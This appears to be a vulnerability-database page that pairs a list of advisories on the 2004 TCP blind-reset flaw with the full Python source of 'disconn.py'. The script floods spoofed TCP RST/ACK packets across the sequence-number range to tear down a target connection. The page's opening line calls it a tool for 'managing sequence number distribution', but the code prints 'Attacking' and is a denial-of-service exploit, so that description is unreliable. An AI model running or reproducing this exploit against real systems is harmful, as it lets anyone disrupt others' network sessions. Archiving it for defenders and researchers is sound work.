disconn.py is a free software tool for managing sequence number distribution in networking.
Reporter | Title | Published | Views | Family All 66 |
---|---|---|---|---|
![]() | TCP Vulnerabilities in Multiple IOS-Based Cisco Products | 20 Apr 200421:00 | – | cisco |
![]() | TCP Vulnerabilities in Multiple Non-IOS Cisco Products | 20 Apr 200421:00 | – | cisco |
![]() | TCP Vulnerabilities in Multiple IOS-Based Cisco Products | 10 Jan 201200:00 | – | nessus |
![]() | Fortinet Fortigate CVE-2004-0230 Blind Reset Attack Using the RST/SYN Bit (FG-IR-16-039) | 27 Oct 202400:00 | – | nessus |
![]() | FreeBSD : FreeBSD -- Denial of Service in TCP packet processing (729c4a9f-6007-11e6-a6c3-14dae9d210b8) | 12 Aug 201600:00 | – | nessus |
![]() | Juniper Junos TCP Packet Processing Remote DoS (JSA10638) | 15 Jul 201400:00 | – | nessus |
![]() | TCP/IP Sequence Prediction Blind Reset Spoofing DoS | 25 Apr 200400:00 | – | nessus |
![]() | Oracle Solaris Critical Patch Update : jan2015_SRU11_1_15_4_0 | 23 Jan 201500:00 | – | nessus |
![]() | Solaris 10 (sparc) : 150400-10 | 12 Mar 201800:00 | – | nessus |
![]() | Solaris 10 (x86) : 150401-10 | 12 Mar 201800:00 | – | nessus |
`#!/usr/bin/python
#
# Version: 1.1
# Copyright 2004 r3d5un
#
# disconn.py is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# disconn.py is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with disconn.py; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# Version 1.1 changes:
# -se option added (Sequence End). This allows the
# user to specify an upper sequnece number, and thus
# the distribution to more clients.
#
# i.e 4 Hosts 0-1000000000 1000000001-2000000000
# 2000000001-3000000000 3000000001-4294967295
#
#
#
import btk
import sys
import string
def cmdParser(args):
pos = 1
quiet = False
seq = 0
maxseqnum = 4294967295
win = 8000
running = True
while running:
running = False
if args[pos] == "-s":
try:
seq = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1
if args[pos] == "-se":
try:
maxseqnum = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos +1
elif args[pos] == "-w":
try:
win = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1
elif args[pos] == "-q":
quiet = True
running = True
pos = pos + 1
dstip = args[pos]
dstport = int(args[pos+1])
srcip = args[pos+2]
tmp = string.split(args[pos+3],":")
try:
srcport1 = int(tmp[0])
srcport2 = int(tmp[1])
except:
srcport1 = srcport2 = int(tmp[0])
return dstip,dstport,srcip,srcport1,srcport2,seq,maxseqnum,win,quiet
try:
args = sys.argv
dstip,dstport,srcip,srcport1,srcport2,seqnum,maxseqnum,win,quiet = cmdParser(args)
if not quiet:
print "Attacking " + dstip + " <--> " + srcip
packet = btk.btk()
packet.protocol(btk.TCP)
packet.flags(btk.RST | btk.ACK)
i = seqnum
k = 0
while i < maxseqnum:
packet.options(seq=long(i))
packet.options(ack=long(i))
for p in range (srcport1, srcport2+1):
packet.send(dstip,dstport,srcip,p)
k=(k+1)%1000
if k == 0:
if not quiet:
print "1000 Packets sent (seqnum="+str(i)+")"
i = i + win
except:
print "Usage: disconn.py [-q] [-s <seqnum>] [-se <endseqnum>] [-w <windowsize>] <dst.ip> <dst.port> <src.ip> <src.port>\n"
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo